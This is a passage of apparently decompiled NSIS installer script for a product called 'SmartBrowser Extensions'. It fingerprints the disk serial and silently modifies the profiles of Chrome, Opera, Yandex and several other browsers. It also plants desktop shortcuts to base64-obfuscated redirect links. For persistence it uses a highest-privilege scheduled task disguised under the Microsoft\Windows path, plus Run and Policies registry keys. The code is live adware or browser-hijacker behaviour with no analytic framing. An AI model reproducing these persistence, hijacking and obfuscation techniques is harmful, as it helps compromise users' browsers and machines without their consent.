; SetDetailsPrint lastused ; Push $0 ; Push $1 ; CallInstDLL $PLUGINSDIR\nsDialogs.dll OnClick Pop $1 Pop $0 nsDialogs::CreateControl BUTTON 0x40000000|0x10000000|0x04000000|0x00000007 0x00000020 0 64% 100% 36% "License Agreement:" ; Call Initialize_____Plugins ; AllowSkipFiles off ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; Push "License Agreement:" ; Push 36% ; Push 100% ; Push 64% ; Push 0 ; Push 0x00000020 ; Push 0x40000000|0x10000000|0x04000000|0x00000007 ; Push BUTTON ; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl nsDialogs::CreateControl STATIC 0x40000000|0x10000000|0x04000000|0x00000100 0x00000020 12 72% 96% 24% "Please review the license terms before installing SmartBrowser Extensions. Press EULA link to see of the agreement. You must accept the agreement to install SmartBrowser Extensions. If you press Install you completely confirm that you agree with the terms of the agreement." ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; Push "Please review the license terms before installing SmartBrowser Extensions. Press EULA link to see of the agreement. You must accept the agreement to install SmartBrowser Extensions. If you press Install you completely confirm that you agree with the terms of the agreement." ; Push 24% ; Push 96% ; Push 72% ; Push 12 ; Push 0x00000020 ; Push 0x40000000|0x10000000|0x04000000|0x00000100 ; Push STATIC ; CallInstDLL $PLUGINSDIR\nsDialogs.dll CreateControl nsDialogs::Show ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsDialogs.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\nsDialogs.dll Show StrCpy $_21_ "" FunctionEnd Function func_5423 StrCmp $_32_ 1 label_5482 Pop $R3 StrCpy $_20_ "" StrCpy $R1 "" ClearErrors ReadRegStr $R0 HKLM "SOFTWARE\Microsoft\Windows NT\CurrentVersion" CurrentVersion IfErrors label_5465 StrCpy $R0 $R0 3 StrCmp $R0 5.0 label_5434 StrCmp $R0 5.1 label_5434 StrCmp $R0 5.2 0 label_5465 label_5434: StrCpy $1 "" StrCpy $2 "" nsExec::ExecToStack "wmic path win32_physicalmedia where tag=$\"\\\\.\\PHYSICALDRIVE0$\" get serialnumber /value" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "wmic path win32_physicalmedia where tag=$\"\\\\.\\PHYSICALDRIVE0$\" get serialnumber /value" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Pop $1 Pop $2 Push $1$2 Push serialnumber= Call :label_405 Pop $R1 Push $R1 Push 12 Push "" Push "" Call :label_1606 Pop $R1 StrLen $5 $R1 IntCmp $5 3 0 0 label_5458 StrCpy $R1 "" StrCpy $_20_ "" Goto label_5482 label_5458: Push $R1 ALPHAGSEED::SEED ; Call Initialize_____Plugins ; AllowSkipFiles on ; File $PLUGINSDIR\ALPHAGSEED.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\ALPHAGSEED.dll SEED Pop $_20_ Goto label_5482 label_5465: StrCpy $R1 "" ALPHAGHWSN::GHWSN ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHWSN.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\ALPHAGHWSN.dll GHWSN Pop $R1 StrLen $5 $R1 IntCmp $5 3 0 0 label_5476 StrCpy $R1 "" StrCpy $_20_ "" Goto label_5482 label_5476: Push $R1 ALPHAGSEED::SEED ; Call Initialize_____Plugins ; AllowSkipFiles off ; File $PLUGINSDIR\ALPHAGSEED.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\ALPHAGSEED.dll SEED Pop $_20_ label_5482: FunctionEnd Section Óñòàíîâêà ; Section_0 Call func_261 Call func_13460 Call func_14159 Call func_14782 Call func_15502 Call func_16293 Call func_17623 Call func_18799 Call func_2792 Call func_967 StrCmp $_32_ 1 0 label_5539 IfFileExists $EXEDIR\le 0 label_5538 ClearErrors ReadINIStr $8 $EXEDIR\le LE GUID IfErrors label_5538 StrCpy $_43_ $COMMONFILES\$8 ReadINIStr $9 $EXEDIR\le LE ID ClearErrors ReadINIStr $_54_ $EXEDIR\le LE VER IfErrors 0 label_5505 StrCpy $_54_ none Goto label_5508 label_5505: StrCpy $_54_ $_54_ "" 3 Push $_54_ Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ label_5508: Call func_83 Pop $_54_ IfFileExists $_43_ 0 label_5538 StrCpy $_55_ $9 Push $_55_ Call func_13239 Pop $_55_ StrCpy $_51_ $_55_ StrCpy $_38_ 1 StrCpy $_39_ 1 StrCpy $_41_ 1 StrCpy $_42_ 1 StrCpy $_138_ "" ClearErrors ReadINIStr $9 $EXEDIR\le LE IDNT IfErrors label_5529 StrCpy $_140_ $9 Push $_140_ Call func_13239 Pop $_140_ StrCpy $_138_ $_140_ label_5529: StrCpy $_139_ "" ClearErrors ReadINIStr $9 $EXEDIR\le LE VERNT IfErrors label_5538 StrCpy $9 $9 "" 3 Push $9 Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ Call func_83 Pop $_139_ label_5538: Goto label_5614 label_5539: Call func_12622 IfFileExists $EXEDIR\le 0 label_5542 ReadINIStr $_44_ $EXEDIR\le LE GUID label_5542: Call func_13145 Pop $8 StrCmp $8 "" 0 label_5546 StrCpy $8 "Chrome Local Extensions" label_5546: StrCpy $_43_ $COMMONFILES\$8 StrCpy $_106_ $8 CreateDirectory $_43_ IfFileExists $_43_ 0 label_5553 WriteINIStr $EXEDIR\le LE GUID $8 StrCpy $_45_ $_43_ Call func_12133 label_5553: nsisunz::Unzip $PLUGINSDIR\sll.zip $_43_ ; Call Initialize_____Plugins ; AllowSkipFiles on ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push $_43_ ; Push $PLUGINSDIR\sll.zip ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip CreateDirectory $PLUGINSDIR\CRXIMG Push 18 Push 1 Call func_13173 Pop $1 nsisunz::Unzip /file $1.png $PLUGINSDIR\imgs.zip $PLUGINSDIR\CRXIMG ; Call Initialize_____Plugins ; AllowSkipFiles off ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push $PLUGINSDIR\CRXIMG ; Push $PLUGINSDIR\imgs.zip ; Push $1.png ; Push /file ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip Rename /REBOOTOK $PLUGINSDIR\CRXIMG\$1.png $PLUGINSDIR\CRXIMG\48.png ; $PLUGINSDIR\CRXIMG\$1.png->$PLUGINSDIR\CRXIMG\48.png nsisunz::Unzip /file GDO.png $PLUGINSDIR\imgs.zip $PLUGINSDIR\CRXIMG ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push $PLUGINSDIR\CRXIMG ; Push $PLUGINSDIR\imgs.zip ; Push GDO.png ; Push /file ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip nsisunz::Unzip /file GDE.png $PLUGINSDIR\imgs.zip $PLUGINSDIR\CRXIMG ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push $PLUGINSDIR\CRXIMG ; Push $PLUGINSDIR\imgs.zip ; Push GDE.png ; Push /file ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip IfFileExists $_43_\128.png 0 label_5605 Delete $_43_\128.png IfFileExists $_43_\128.png label_5605 Push 18 Push 1 Call func_13173 Pop $1 nsisunz::Unzip /file $1.png $PLUGINSDIR\imgs.zip $_43_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push $_43_ ; Push $PLUGINSDIR\imgs.zip ; Push $1.png ; Push /file ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip Rename /REBOOTOK $_43_\$1.png $_43_\128.png ; $_43_\$1.png->$_43_\128.png label_5605: IfFileExists $_43_\manifest.json 0 label_5607 Push $0 label_5607: Push $_43_\manifest.json Push "" Push 1:-1 StrCpy $0 13274 Push $0 Call :label_4862 Pop $0 label_5614: IfFileExists "$LOCALAPPDATA\Google\Chrome\User Data" 0 label_5671 IfFileExists "$LOCALAPPDATA\Google\Chrome\User Data\Default" 0 label_5622 StrCpy $_24_ "$LOCALAPPDATA\Google\Chrome\User Data\Default" StrCmp $_32_ 1 0 label_5621 StrCpy $_64_ $_24_ Call func_8944 Goto label_5622 label_5621: Call func_6174 label_5622: IfFileExists "$LOCALAPPDATA\Google\Chrome\User Data\*" 0 label_5669 StrCpy $_19_ "" StrCpy $_22_ "" StrCpy $_23_ 1 FindFirst $_19_ $_22_ "$LOCALAPPDATA\Google\Chrome\User Data\*" label_5627: StrCmp $_22_ "" label_5668 Push "$LOCALAPPDATA\Google\Chrome\User Data\$_22_" Call :label_5631 Goto label_5654 label_5631: Exch $0 ; Push $0 ; Exch ; Pop $0 Push $1 ClearErrors FindFirst $1 $0 $0\*.* IfErrors 0 label_5640 StrCpy $0 -1 Goto label_5649 label_5640: StrCmp $0 . 0 label_5644 FindNext $1 $0 StrCmp $0 .. 0 label_5644 FindNext $1 $0 label_5644: FindClose $1 IfErrors 0 label_5648 StrCpy $0 0 Goto label_5649 label_5648: StrCpy $0 1 label_5649: Pop $1 Exch $0 ; Push $0 ; Exch ; Pop $0 Return label_5654: Pop $1 StrCmp $1 -1 label_5664 StrCmp $_22_ Default label_5664 IfFileExists "$LOCALAPPDATA\Google\Chrome\User Data\$_22_\Preferences" 0 label_5664 StrCpy $_24_ "$LOCALAPPDATA\Google\Chrome\User Data\$_22_" StrCmp $_32_ 1 0 label_5663 StrCpy $_64_ $_24_ Call func_8944 Goto label_5664 label_5663: Call func_6174 label_5664: IntOp $_23_ $_23_ + 1 IntCmp $_23_ 300 label_5668 0 label_5668 FindNext $_19_ $_22_ Goto label_5627 label_5668: FindClose $_19_ label_5669: Call func_12818 Goto label_5676 label_5671: StrCmp $_32_ 1 label_5676 CreateDirectory "$LOCALAPPDATA\Google\Chrome\User Data\Default" StrCpy $_47_ "$LOCALAPPDATA\Google\Chrome\User Data\Default\Bookmarks" Call func_12634 Call func_6495 label_5676: IfFileExists "$LOCALAPPDATA\Orbitum\User Data" 0 label_5709 IfFileExists "$LOCALAPPDATA\Orbitum\User Data\Default" 0 label_5684 StrCpy $_28_ "$LOCALAPPDATA\Orbitum\User Data\Default" StrCmp $_32_ 1 0 label_5683 StrCpy $_64_ $_28_ Call func_8944 Goto label_5684 label_5683: Call func_7897 label_5684: IfFileExists "$LOCALAPPDATA\Orbitum\User Data\*" 0 label_5707 StrCpy $_19_ "" StrCpy $_22_ "" StrCpy $_23_ 1 FindFirst $_19_ $_22_ "$LOCALAPPDATA\Orbitum\User Data\*" label_5689: StrCmp $_22_ "" label_5706 Push "$LOCALAPPDATA\Orbitum\User Data\$_22_" Call :label_5631 Pop $1 StrCmp $1 -1 label_5702 StrCmp $_22_ Default label_5702 IfFileExists "$LOCALAPPDATA\Orbitum\User Data\$_22_\Preferences" 0 label_5702 StrCpy $_28_ "$LOCALAPPDATA\Orbitum\User Data\$_22_" StrCmp $_32_ 1 0 label_5701 StrCpy $_64_ $_28_ Call func_8944 Goto label_5702 label_5701: Call func_7897 label_5702: IntOp $_23_ $_23_ + 1 IntCmp $_23_ 300 label_5706 0 label_5706 FindNext $_19_ $_22_ Goto label_5689 label_5706: FindClose $_19_ label_5707: Call func_13038 Goto label_5711 label_5709: StrCmp $_32_ 1 label_5711 Call func_7986 label_5711: IfFileExists "$APPDATA\Opera Software\Opera Stable" 0 label_5720 StrCmp $_32_ 1 0 label_5717 StrCpy $_64_ "$APPDATA\Opera Software\Opera Stable" Call func_6786 Call func_8944 Goto label_5718 label_5717: Call func_6574 label_5718: Call func_12984 Goto label_5725 label_5720: StrCmp $_32_ 1 label_5725 CreateDirectory "$APPDATA\Opera Software\Opera Stable" StrCpy $_47_ "$APPDATA\Opera Software\Opera Stable\Bookmarks" Call func_12634 Call func_6768 label_5725: IfFileExists "$LOCALAPPDATA\Yandex\YandexBrowser\User Data" 0 label_5778 ClearErrors ReadRegStr $9 HKCU Software\Yandex\YandexBrowser ap IfErrors label_5730 StrCmp $9 dev label_5731 label_5730: WriteRegStr HKCU Software\Yandex\YandexBrowser ap dev label_5731: StrCpy $_40_ "" ClearErrors ReadRegStr $9 HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\YandexBrowser DisplayVersion IfErrors label_5736 Push x16.4.0 label_5736: Push x$9 Call func_19243 Pop $_40_ IfFileExists "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default" 0 label_5748 StrCpy $_25_ "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default" StrCmp $_32_ 1 0 label_5746 StrCpy $_64_ $_25_ Call func_8944 Call func_7085 Goto label_5748 label_5746: Call func_6810 Call func_7085 label_5748: IfFileExists "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\*" 0 label_5774 StrCpy $_19_ "" StrCpy $_22_ "" StrCpy $_23_ 1 FindFirst $_19_ $_22_ "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\*" label_5753: StrCmp $_22_ "" label_5773 Push "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\$_22_" Call :label_5631 Pop $1 StrCmp $1 -1 label_5769 StrCmp $_22_ Default label_5769 IfFileExists "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\$_22_\Preferences" 0 label_5769 StrCpy $_25_ "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\$_22_" StrCmp $_32_ 1 0 label_5766 StrCpy $_64_ $_25_ Call func_8944 Call func_7085 Goto label_5769 label_5766: Call func_6810 IfFileExists "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default" label_5769 Call func_7085 label_5769: IntOp $_23_ $_23_ + 1 IntCmp $_23_ 300 label_5773 0 label_5773 FindNext $_19_ $_22_ Goto label_5753 label_5773: FindClose $_19_ label_5774: StrCmp $_40_ 2 label_5776 StrCpy $_39_ 0 label_5776: Call func_12846 Goto label_5783 label_5778: StrCmp $_32_ 1 label_5783 CreateDirectory "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default" StrCpy $_47_ "$LOCALAPPDATA\Yandex\YandexBrowser\User Data\Default\Bookmarks" Call func_12634 Call func_7299 label_5783: IfFileExists "$LOCALAPPDATA\Amigo\User Data" 0 label_5816 IfFileExists "$LOCALAPPDATA\Amigo\User Data\Default" 0 label_5791 StrCpy $_26_ "$LOCALAPPDATA\Amigo\User Data\Default" StrCmp $_32_ 1 0 label_5790 StrCpy $_64_ $_26_ Call func_8944 Goto label_5791 label_5790: Call func_7385 label_5791: IfFileExists "$LOCALAPPDATA\Amigo\User Data\*" 0 label_5814 StrCpy $_19_ "" StrCpy $_22_ "" StrCpy $_23_ 1 FindFirst $_19_ $_22_ "$LOCALAPPDATA\Amigo\User Data\*" label_5796: StrCmp $_22_ "" label_5813 Push "$LOCALAPPDATA\Amigo\User Data\$_22_" Call :label_5631 Pop $1 StrCmp $1 -1 label_5809 StrCmp $_22_ Default label_5809 IfFileExists "$LOCALAPPDATA\Amigo\User Data\$_22_\Extension Data" 0 label_5809 StrCpy $_26_ "$LOCALAPPDATA\Amigo\User Data\$_22_" StrCmp $_32_ 1 0 label_5808 StrCpy $_64_ $_26_ Call func_8944 Goto label_5809 label_5808: Call func_7385 label_5809: IntOp $_23_ $_23_ + 1 IntCmp $_23_ 300 label_5813 0 label_5813 FindNext $_19_ $_22_ Goto label_5796 label_5813: FindClose $_19_ label_5814: Call func_13101 Goto label_5821 label_5816: StrCmp $_32_ 1 label_5821 CreateDirectory "$LOCALAPPDATA\Amigo\User Data\Default" StrCpy $_47_ "$LOCALAPPDATA\Amigo\User Data\Default\Bookmarks" Call func_12634 Call func_7720 label_5821: IfFileExists "$LOCALAPPDATA\Nichrome\User Data" 0 label_5854 IfFileExists "$LOCALAPPDATA\Nichrome\User Data\Default" 0 label_5829 StrCpy $_27_ "$LOCALAPPDATA\Nichrome\User Data\Default" StrCmp $_32_ 1 0 label_5828 StrCpy $_64_ $_27_ Call func_8944 Goto label_5829 label_5828: Call func_7765 label_5829: IfFileExists "$LOCALAPPDATA\Nichrome\User Data\*" 0 label_5852 StrCpy $_19_ "" StrCpy $_22_ "" StrCpy $_23_ 1 FindFirst $_19_ $_22_ "$LOCALAPPDATA\Nichrome\User Data\*" label_5834: StrCmp $_22_ "" label_5851 Push "$LOCALAPPDATA\Nichrome\User Data\$_22_" Call :label_5631 Pop $1 StrCmp $1 -1 label_5847 StrCmp $_22_ Default label_5847 IfFileExists "$LOCALAPPDATA\Nichrome\User Data\$_22_\Preferences" 0 label_5847 StrCpy $_27_ "$LOCALAPPDATA\Nichrome\User Data\$_22_" StrCmp $_32_ 1 0 label_5846 StrCpy $_64_ $_27_ Call func_8944 Goto label_5847 label_5846: Call func_7765 label_5847: IntOp $_23_ $_23_ + 1 IntCmp $_23_ 300 label_5851 0 label_5851 FindNext $_19_ $_22_ Goto label_5834 label_5851: FindClose $_19_ label_5852: Call func_13017 Goto label_5856 label_5854: StrCmp $_32_ 1 label_5856 Call func_7893 label_5856: IfFileExists "$LOCALAPPDATA\Kometa\User Data" 0 label_5889 IfFileExists "$LOCALAPPDATA\Kometa\User Data\Default" 0 label_5864 StrCpy $_29_ "$LOCALAPPDATA\Kometa\User Data\Default" StrCmp $_32_ 1 0 label_5863 StrCpy $_64_ $_29_ Call func_8944 Goto label_5864 label_5863: Call func_7990 label_5864: IfFileExists "$LOCALAPPDATA\Kometa\User Data\*" 0 label_5887 StrCpy $_19_ "" StrCpy $_22_ "" StrCpy $_23_ 1 FindFirst $_19_ $_22_ "$LOCALAPPDATA\Kometa\User Data\*" label_5869: StrCmp $_22_ "" label_5886 Push "$LOCALAPPDATA\Kometa\User Data\$_22_" Call :label_5631 Pop $1 StrCmp $1 -1 label_5882 StrCmp $_22_ Default label_5882 IfFileExists "$LOCALAPPDATA\Kometa\User Data\$_22_\Extension Data" 0 label_5882 StrCpy $_29_ "$LOCALAPPDATA\Kometa\User Data\$_22_" StrCmp $_32_ 1 0 label_5881 StrCpy $_64_ $_29_ Call func_8944 Goto label_5882 label_5881: Call func_7990 label_5882: IntOp $_23_ $_23_ + 1 IntCmp $_23_ 300 label_5886 0 label_5886 FindNext $_19_ $_22_ Goto label_5869 label_5886: FindClose $_19_ label_5887: Call func_13113 Goto label_5894 label_5889: StrCmp $_32_ 1 label_5894 CreateDirectory "$LOCALAPPDATA\Kometa\User Data\Default" StrCpy $_47_ "$LOCALAPPDATA\Kometa\User Data\Default\Bookmarks" Call func_12634 Call func_8134 label_5894: IfFileExists "$PROGRAMFILES\Mozilla Firefox" 0 label_5898 StrCmp $_32_ 1 label_5898 Call func_8179 Call func_12960 label_5898: Call func_5901 SetAutoClose true SectionEnd Function func_5901 IfFileExists $COMMONFILES\TopLink label_5903 CreateDirectory $COMMONFILES\TopLink label_5903: SetOutPath $PLUGINSDIR SetOverwrite on AllowSkipFiles on File imgtl.zip nsisunz::Unzip $PLUGINSDIR\imgtl.zip $COMMONFILES\TopLink ; Call Initialize_____Plugins ; SetOverwrite off ; AllowSkipFiles off ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push $COMMONFILES\TopLink ; Push $PLUGINSDIR\imgtl.zip ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip ClearErrors ReadINIStr $1 $EXEDIR\le TL AE IfErrors 0 label_5925 IfFileExists $COMMONFILES\TopLink\AE.ico 0 label_5925 StrCpy $1 AAAaHR0cDovL2xuay5kby8wY0tuNw== "" 3 Push $1 Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ Call func_83 Pop $1 SetShellVarContext all CreateShortCut $DESKTOP\Aliexpress.lnk $1 "" $COMMONFILES\TopLink\AE.ico CreateShortCut $STARTMENU\Aliexpress.lnk $1 "" $COMMONFILES\TopLink\AE.ico SetShellVarContext current WriteINIStr $EXEDIR\le TL AE true label_5925: ClearErrors ReadINIStr $1 $EXEDIR\le TL BD IfErrors 0 label_5939 IfFileExists $COMMONFILES\TopLink\BD.ico 0 label_5939 StrCpy $1 AAAaHR0cDovL2xuay5kby9oVjM2Tg== "" 3 Push $1 Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ Call func_83 Pop $1 SetShellVarContext all CreateShortCut "$DESKTOP\Black Desert.lnk" $1 "" $COMMONFILES\TopLink\BD.ico CreateShortCut "$STARTMENU\Black Desert.lnk" $1 "" $COMMONFILES\TopLink\BD.ico SetShellVarContext current WriteINIStr $EXEDIR\le TL BD true label_5939: ClearErrors ReadINIStr $1 $EXEDIR\le TL SC IfErrors 0 label_5953 IfFileExists $COMMONFILES\TopLink\SC.ico 0 label_5953 StrCpy $1 AAAaHR0cDovL2xuay5kby9BdGdFVA== "" 3 Push $1 Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ Call func_83 Pop $1 SetShellVarContext all CreateShortCut "$DESKTOP\Star Conflict.lnk" $1 "" $COMMONFILES\TopLink\SC.ico CreateShortCut "$STARTMENU\Star Conflict.lnk" $1 "" $COMMONFILES\TopLink\SC.ico SetShellVarContext current WriteINIStr $EXEDIR\le TL SC true label_5953: ClearErrors ReadINIStr $1 $EXEDIR\le TL WT IfErrors 0 label_5967 IfFileExists $COMMONFILES\TopLink\WT.ico 0 label_5967 StrCpy $1 AAAaHR0cDovL2xuay5kby9CTENXMw== "" 3 Push $1 Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ Call func_83 Pop $1 SetShellVarContext all CreateShortCut "$DESKTOP\War Thunder.lnk" $1 "" $COMMONFILES\TopLink\WT.ico CreateShortCut "$STARTMENU\War Thunder.lnk" $1 "" $COMMONFILES\TopLink\WT.ico SetShellVarContext current WriteINIStr $EXEDIR\le TL WT true label_5967: ClearErrors ReadINIStr $1 $EXEDIR\le TL SS IfErrors 0 label_5981 IfFileExists $COMMONFILES\TopLink\SS.ico 0 label_5981 StrCpy $1 AAAaHR0cDovL2xuay5kby9XbEo0Ng== "" 3 Push $1 Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ Call func_83 Pop $1 SetShellVarContext all CreateShortCut $DESKTOP\Íîâîñòè.lnk $1 "" $COMMONFILES\TopLink\SS.ico CreateShortCut $STARTMENU\Íîâîñòè.lnk $1 "" $COMMONFILES\TopLink\SS.ico SetShellVarContext current WriteINIStr $EXEDIR\le TL SS true label_5981: ClearErrors ReadINIStr $1 $EXEDIR\le TL BG IfErrors 0 label_5995 IfFileExists $COMMONFILES\TopLink\BG.ico 0 label_5995 StrCpy $1 AAAaHR0cDovL2xuay5kby8yNkJhVQ== "" 3 Push $1 Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ Call func_83 Pop $1 SetShellVarContext all CreateShortCut $DESKTOP\Booking.com.lnk $1 "" $COMMONFILES\TopLink\BG.ico CreateShortCut $STARTMENU\Booking.com.lnk $1 "" $COMMONFILES\TopLink\BG.ico SetShellVarContext current WriteINIStr $EXEDIR\le TL BG true label_5995: ClearErrors ReadINIStr $1 $EXEDIR\le TL FE IfErrors 0 label_6009 IfFileExists $COMMONFILES\TopLink\FE.ico 0 label_6009 StrCpy $1 AAAaHR0cDovL2xuay5kby9MbHZCaQ== "" 3 Push $1 Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ Call func_83 Pop $1 SetShellVarContext all CreateShortCut "$DESKTOP\Forge of Empires.lnk" $1 "" $COMMONFILES\TopLink\FE.ico CreateShortCut "$STARTMENU\Forge of Empires.lnk" $1 "" $COMMONFILES\TopLink\FE.ico SetShellVarContext current WriteINIStr $EXEDIR\le TL FE true label_6009: FunctionEnd Function .onInstSuccess HideWindow StrCmp $_32_ 1 label_6018 StrCmp $_151_ 1 0 label_6014 WriteINIStr $EXEDIR\le LE NTSS 1 label_6014: StrCmp $_81_ 1 0 label_6016 WriteINIStr $EXEDIR\le LE WSEDJN 1 label_6016: StrCmp $_82_ 1 0 label_6018 WriteINIStr $EXEDIR\le LE WSEBAP 1 label_6018: IfFileExists $COMMONFILES\$_44_ 0 label_6020 RMDir /r /REBOOTOK $COMMONFILES\$_44_ label_6020: Delete /REBOOTOK $EXEDIR\*.tmp RMDir /r /REBOOTOK $PLUGINSDIR StrCmp $_32_ 1 label_6163 StrCpy $5 SB StrCpy $7 1 nsExec::ExecToStack "schtasks /create /rl highest /RU $\"$_107_$\" /tn $\"\Microsoft\$_153_$5$\" /sc ONLOGON /tr $\"$\"$\"$\"$EXEPATH$\"$\"$\"/S --safebrowser$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /create /rl highest /RU $\"$_107_$\" /tn $\"\Microsoft\$_153_$5$\" /sc ONLOGON /tr $\"$\"$\"$\"$EXEPATH$\"$\"$\"/S --safebrowser$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Pop $7 StrCmp $7 0 0 label_6053 nsExec::Exec "cmd /k schtasks /query /xml /tn $\"\Microsoft\$_153_$5$\" > $PLUGINSDIR\TaskSB.xml" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k schtasks /query /xml /tn $\"\Microsoft\$_153_$5$\" > $PLUGINSDIR\TaskSB.xml" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec IfFileExists $PLUGINSDIR\TaskSB.xml 0 label_6052 Push $0 Push $PLUGINSDIR\TaskSB.xml Push "" Push 1:-1 StrCpy $0 12052 Push $0 Call :label_4862 Pop $0 nsExec::ExecToStack "schtasks /create /tn $\"\Microsoft\Windows\$_153_$5$\" /xml $\"$PLUGINSDIR\TaskSB.xml$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /create /tn $\"\Microsoft\Windows\$_153_$5$\" /xml $\"$PLUGINSDIR\TaskSB.xml$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Delete $PLUGINSDIR\TaskSB.xml label_6052: Goto label_6054 label_6053: WriteRegStr HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run $_153_$5 "$\"$EXEPATH$\" /S --safebrowser" label_6054: StrCpy $1 "reg add $\"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run$\" /v $\"$_153_$5$\" /t reg_sz /d $\"$\"$\"$\"$EXEPATH$\"$\"$\" /S --safebrowser$\" /f" nsExec::Exec "cmd /k $1 /reg:64 || $1" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k $1 /reg:64 || $1" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec ClearErrors ReadRegStr $1 HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce $_153_ IfErrors label_6064 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce $_153_ label_6064: SetShellVarContext all IfFileExists $SMSTARTUP\$_153_.lnk 0 label_6067 Delete $SMSTARTUP\$_153_.lnk label_6067: IfFileExists $SMSTARTUP\extsetup.lnk 0 label_6069 Delete $SMSTARTUP\extsetup.lnk label_6069: SetShellVarContext current IfFileExists $SMSTARTUP\Safebrowser.lnk 0 label_6072 Delete $SMSTARTUP\Safebrowser.lnk label_6072: IfFileExists $EXEDIR\extsetup.log 0 label_6075 Rename $EXEDIR\extsetup.log $EXEDIR\log ; $EXEDIR\extsetup.log->$EXEDIR\log Delete /REBOOTOK $EXEDIR\extsetup.log label_6075: StrCpy $R8 0 IfFileExists $EXEDIR\log 0 label_6081 ClearErrors ReadINIStr $R8 $EXEDIR\log log sn IfErrors 0 label_6081 StrCpy $R8 0 label_6081: StrCpy $5 RunOnce nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\$_153_$5$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"\Microsoft\$_153_$5$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\$_153_$5$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"\Microsoft\Windows\$_153_$5$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn extsetup /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn extsetup /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn extsetuponce /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn extsetuponce /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\SafeBrowser$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"\Microsoft\SafeBrowser$\" /f" ; 